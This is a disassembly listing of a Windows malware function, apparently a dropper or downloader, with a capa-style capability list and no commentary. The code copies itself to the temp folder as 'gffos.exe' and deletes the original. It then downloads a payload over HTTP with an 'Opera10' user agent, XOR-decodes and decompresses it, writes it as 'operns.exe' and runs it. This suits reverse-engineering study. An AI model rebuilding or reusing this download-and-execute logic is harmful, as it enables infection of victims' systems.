Function at 0x401020
Capabilities:
Compress data via winapi
Connect to http server
Create http request
Create process on windows
Delete file
Download and write a file
Encode data using xor
Get common file path
Get file size
Read and send data from client to server
Read data from internet
Read file on windows
Receive and write data from server to client
Receive data
Send data
Send http request
Terminate process
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x834
push ebx
push ebp
push esi
xor esi, esi
push edi
push esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push 0x100000
push esi
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov ebp, dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, 0x2000
push ebx
push 8
push eax
mov dword [esp + 0x30], eax
call ebp
push ebx
push 8
push dword [esp + 0x2c]
mov edi, eax
call ebp
push ebx
push edi
push esi
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebp
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.gffos.exe
push ebp
push 0x40216c
push ebp
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
jne 0x4010c2
pop edi
pop esi
xor eax, eax
pop ebp
inc eax
pop ebx
add esp, 0x834
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push edi
mov dword [esp + 0x18], ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebx + eax*2 + 4]
push eax
push 8
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
cmp ebx, esi
jne 0x4010f6
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
lea eax, [esp + 0x2c]
push eax
push dword [esp + 0x1c]
push ebx
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4011ad
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
mov eax, dword [esp + 0x18]
push edi
add eax, ebx
push eax
call section..text
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x18], eax
cmp eax, 0xffffffff
je 0x4010b4
push esi
lea eax, [esp + 0x2c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esp + 0x1c]
lea eax, [ecx + eax*2 + 4]
push eax
push ebx
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [esp + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push dword [esp + 0x18]
call ebx
push edi
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
push edi
push esi
push ebp
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push esi
jmp 0x4010f0
mov eax, dword [ebx + 0x3c]
push dword [esp + 0x10]
add eax, ebx
movzx ecx, word [eax + 6]
imul ecx, ecx, 0x28
lea eax, [ecx + eax + 0xd0]
mov edi, dword [eax + 0x14]
add edi, dword [eax + 0x10]
add edi, ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x4011f2
inc dword [esp + 0x1c]
push 1
push 0x64
call dword [sym.imp.KERNEL32.dll_SleepEx]
cmp dword [esp + 0x1c], 0xbb8
jg 0x4011f9
push edi
call ebx
test eax, eax
je 0x4011da
push esi
push esi
push esi
push esi
push str.Opera10
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [esp + 0x30], eax
cmp eax, esi
je 0x4010b4
or dword [esp + 0x10], 0xffffffff
mov dword [esp + 0x34], str.text_
mov dword [esp + 0x38], str.application_
mov dword [esp + 0x3c], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x14], esi
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 1
jle 0x40124e
push 1
push 0xa
mov dword [esp + 0x18], esi
call dword [sym.imp.KERNEL32.dll_SleepEx]
cmp dword [esp + 0x20], esi
je 0x40125e
push dword [esp + 0x20]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [esp + 0x14], esi
je 0x401272
push dword [esp + 0x14]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [esp + 0x14], esi
xor ebx, ebx
mov eax, dword [esp + 0x10]
push esi
push esi
push 3
push esi
push esi
push 0x50
push dword [eax*4 + section..data]
push dword [esp + 0x4c]
call dword [sym.imp.WININET.dll_InternetConnectW]
mov edi, eax
mov dword [esp + 0x20], edi
cmp edi, esi
jne 0x4012a3
inc ebx
cmp ebx, 3
jl 0x401274
jmp 0x401235
xor ebp, ebp
push esi
push 0x80000000
lea eax, [esp + 0x3c]
push eax
mov eax, dword [esp + 0x1c]
push esi
push esi
push dword [eax*4 + 0x403008]
push esi
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov ebx, eax
mov dword [esp + 0x14], ebx
cmp ebx, esi
jne 0x4012da
inc ebp
cmp ebp, 3
jl 0x4012a5
jmp 0x401235
xor edi, edi
push esi
push esi
push esi
push esi
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
jne 0x4012f1
inc edi
cmp edi, 2
jl 0x4012dc
cmp edi, 2
je 0x401235
mov ebx, dword [esp + 0x18]
cmp ebx, esi
jne 0x401321
push 0xdbba0
push 8
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esp + 0x18], eax
cmp eax, esi
je 0x4010b4
mov ebx, eax
mov dword [esp + 0x28], esi
mov ebp, 0xdbba0
mov dword [esp + 0x1c], esi
lea eax, [esp + 0x28]
push eax
push ebp
mov edi, ebx
push ebx
jmp 0x40134c
mov eax, dword [esp + 0x28]
add edi, eax
sub ebp, eax
cmp eax, esi
je 0x40135a
lea eax, [esp + 0x28]
push eax
push ebp
push edi
push dword [esp + 0x20]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x401339
mov eax, edi
sub eax, ebx
cmp eax, 0x7d0
jg 0x401370
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 0x14
jl 0x40132e
cmp dword [esp + 0x1c], 0x14
je 0x401235
sub edi, ebx
mov ebp, edi
shl ebp, 2
push ebp
push 8
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esp + 0x18], eax
cmp eax, esi
je 0x4010b4
mov dword [esp + 0x2c], edi
cmp byte [ebx], 0x4d
jne 0x4013ae
cmp byte [ebx + 1], 0x5a
je 0x40142f
mov eax, dword [esp + 0x10]
mov edx, dword [eax*4 + 0x403010]
xor eax, eax
mov ecx, edi
inc eax
shr ecx, 2
cmp ecx, eax
jbe 0x4013cd
xor dword [ebx + eax*4], edx
inc eax
cmp eax, ecx
jb 0x4013c5
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esp + 0x20], eax
cmp eax, esi
je 0x4010b4
push str.RtlDecompressBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x403018], eax
cmp eax, esi
jne 0x401408
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x4010b4
lea ecx, [esp + 0x2c]
push ecx
add edi, 0xfffffffc
push edi
add ebx, 4
push ebx
push ebp
push dword [esp + 0x28]
mov dword [esp + 0x40], esi
push 0x102
call eax
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
push 0x80
push 2
push esi
push 2
push 0x40000000
mov ebp, str.operns.exe
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
mov edi, eax
lea eax, [esp + 0x44]
push eax
push dword [esp + 0x34]
push dword [esp + 0x24]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
push dword [esp + 0x2c]
call edi
push ebx
push esi
push dword [esp + 0x2c]
call edi
lea eax, [esp + 0x44]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebp
lea eax, [esp + 0x48]
push eax
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push esi
push esi
push esi
lea eax, [esp + 0x50]
push eax
jmp 0x40119b